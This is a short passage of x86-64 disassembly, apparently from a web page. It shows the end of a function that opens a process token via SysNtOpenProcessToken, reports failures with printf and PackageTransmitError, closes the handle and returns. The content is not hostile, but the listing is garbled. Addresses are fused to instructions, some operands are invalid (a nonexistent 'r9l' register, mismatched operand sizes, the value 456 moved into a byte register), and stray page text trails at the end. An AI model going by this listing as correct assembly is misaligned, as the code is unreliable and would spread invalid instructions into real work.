140021fbecall SysNtOpenProcessToken
140021fc3mov esi, eax
140021fc5test eax, eax
140021fc7js 0x140021fdb
140021fc9
140021fc9loc_140021fc9:
140021fc9mov rcx, rbx
140021fcccall SysNtClose
140021fd1mov rax, [rsp+72]
140021fd6jmp 0x140022061
140021fdb
140021fdbloc_140021fdb:
140021fdbmov rbp, [rip+41870]
140021fe2mov ecx, eax
140021fe4call [rbp+348]
140021feamov r9l, esi
140021fedmov rdx, rdi
140021ff0mov r8l, 456
140021ff6mov [rsp+32], eax
140021ffalea rcx, [rip+31563]
140022001
140022001loc_140022001:
140022001call printf
140022006mov ecx, esi
140022008call [rbp+348]
14002200emov ecx, 1
140022013mov edx, eax
140022015call PackageTransmitError
14002201amov rcx, rbx
14002201dcall SysNtClose
140022022jmp 0x14002205f
140022024
140022024loc_140022024:
140022024mov rbx, [rip+41797]
14002202bmov rdx, rdi
14002202elea rcx, [rip+31568]
140022035mov r8l, 463
14002203bmov rax, [rbx+2230]
140022042mov r9l, [rax+104]
140022046call printf
14002204bmov rax, [rbx+2230]
140022052mov ecx, 1
140022057mov edx, [rax+104]
14002205acall PackageTransmitError
14002205f
14002205floc_14002205f:
14002205fxor eax, eax
140022061
140022061loc_140022061:
140022061add rsp, 80
140022065pop rbx
140022066pop rsi
140022067pop rdi
140022068pop rbp
140022069pop r12
14002206bret
140021ef0
Loading..